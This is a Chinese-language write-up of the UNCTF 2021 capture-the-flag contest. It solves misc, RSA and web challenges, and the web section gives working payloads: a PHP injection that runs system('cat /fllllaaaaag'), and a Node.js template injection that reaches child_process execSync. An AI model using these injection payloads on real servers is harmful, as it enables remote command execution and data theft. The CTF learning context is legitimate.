【unctf2021】write up

前言

unctf的题挺有意思的,题型也很新,不过我主要还是做了misc和密码,web涉及到的知识点挺多的,就很多没做出来。

Misc

简单日志审计

真的很简单,打开日志发现应该是在进行目录扫描,但是大多都爆404了,不过其中有两行base64代码返回了500,我们base64解码发现这样一串:

对,cat后面的部分就是flag:UNCTF{CTF?YouShouJiuXing}

引大流咯,happy

开门见贝拉,这题给了描述:虚掩的大门后是一副残缺的画卷。我们就不难想到是更改图片的高度,010编辑图片高度,发现flag:

电信诈骗

给了一串奇奇怪怪的值:qi]m^roVibdVbXUU`h,这很明显并不是什么编码格式,题目提示我们flag的格式为unctf{},那么我们那前5位的ascii码值分别于unctf的ascii码值比较,发现分别差了4,5,6,7,8位,这样我们就找到了规律,编写脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include<iostream>
#include<string>
using namespace std;
int main()
{
char s[]= "qi]m^roVibdVbXUU`h";
int n = 4;
for (int i = 0; i < sizeof(s);i++){
s[i]+=n;
n++;
}
for (int i = 0; i < sizeof(s);i++)
cout << s[i];
return 0;
}

跑出来结果为unctf{yauoreright}

倒立洗头

下载附件发现是一串16进制码,复制进010后发现这个十六进制码是颠倒的,我们写脚本把它倒立过来:

1
2
3
4
5
6
7
input = open('key.txt','rb')
input_all = input.read()
ss = input_all[::-1]
output = open('true.jpg','wb')
output.write(ss)
input.close()
output.close()

将倒立过来的十六进制码写入后发现开头有exif,猜测可能文件里面写入了什么东西,查找了==发现了一串base64码:

解码后发现是一串与佛论禅密码:

最后解码,记得要把佛日改为佛曰:

crypto

easy_rsa

直接给了q、p、e、c,写脚本就能跑出来了:

1
2
3
4
5
6
7
8
9
10
11
12
import libnum

p=12525187149887628510447403881107442078833803097302579419605689530714690308437476207855511625840027119860834633695330551080761572835309850579517639206740101
q=9961202707366965556741565662110710902919441271996809241009358666778850435448710324711706845973820669201482939820488174382325795134659313309606698334978471
e=65537
c=28587419802025513525354713621431206010395084854419372005671024739235625817936539010481222419824634956610184430308528941304950093228826213143262329902946812513518444587906469224383320964300417189270202019231856531012143472434842753891213128487132962453421971000901646523331476667655739056951415917218673801225

n = p*q
phi = (p-1)*(q-1)
d = libnum.invmod(e,phi)
flag = libnum.n2s(pow(c,d,n))
print(flag)

探秘中世纪城堡

1
2
年轻的大帝率领着64位皇珈骑士冲破了双重阻栏夺下了城池。
AZSLh2OofBA0C2qzi25mg2KsYqW7iCSdDq9aBLKsDBWyi259

根据提示判断是凯撒密码和栅栏密码,先跑凯撒密码,但是没有什么结果,因此想到再进行一次base64解密,这次当凯撒密码key值为7时,跑出来了结果:

再根据提示进行栅栏解密,key为2:

分析badusb流量

具体原理参考下面两篇博客:
linux usb键盘驱动详解
Linux input.h

每一行4位,前两个值20则对应大写,00则无大写。对应出flag为UNCTF{Y0u-Are-very-n1ce}

电信诈骗pro

也是一串奇怪的码:5.#4&;Sw)2Ti%*Sj1eUU9kTwi*Sj)1S"a8S0)6x-8(x7=

但是有了上次的经验,这次我们也用相同的方法判断前5位,发现每一位的ascii码值与unctf的ascii相差都是64。如果超过了ascii码最大值的话,就从32开始继续计算,写脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include<iostream>
#include<string>
using namespace std;
int main()
{
char s[]= "5.#4&;Sw)2Ti\%*Sj1eUU9kTwi*Sj\)1S\"a8S0\)6x-8\(x7=";
int n = 64, h;
for (int i = 0; i < sizeof(s);i++){
if(s[i]<=62)
s[i] += n;
else{
h = 126 - s[i];
s[i] = 32;
s[i] = s[i] + n - h;
}
}
for (int i = 0; i < sizeof(s);i++)
cout << s[i];
return 0;
}

flag为unctf{5Yir6Kej5LqG77yM6YKj5Liq5bCx5pivZmxhZw}

web

fuzz_md5

GET一个user为unctf,但是会进行替换,这个地方双写就可以绕过了。接着要POST一个pass使md5后编码的值开头五位为66666,这里因为我有md5字典所以就直接找出来了:

can_you_hacked_me

看上去很像sql,但是翻源码发现提示我们www.zip,下载下来有一份源码和一份数据库文件。数据库文件给了管理员的账号密码,但是源码指出必须本地登录才能获得flag,而且这里用了`$_SERVER["REMOTE_ADDR"]`获取ip,这个ip是不能通过头文件伪造的。

因此这题还真是sql注入,用到了like的模糊查询构建payload:

phpmysql

构建payload:host=ls&user=DirectoryIterator&pwd="/");system("cat /fllllaaaaag");echo ("1"

用DirectoryIterator遍历目录,先闭合pwd变量,接着用system返回cat /fllllaaaaag的值,最后再次闭合括号。

nodejs_ssti

构建payload:{{''.constructor.constructor("return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString()")()}}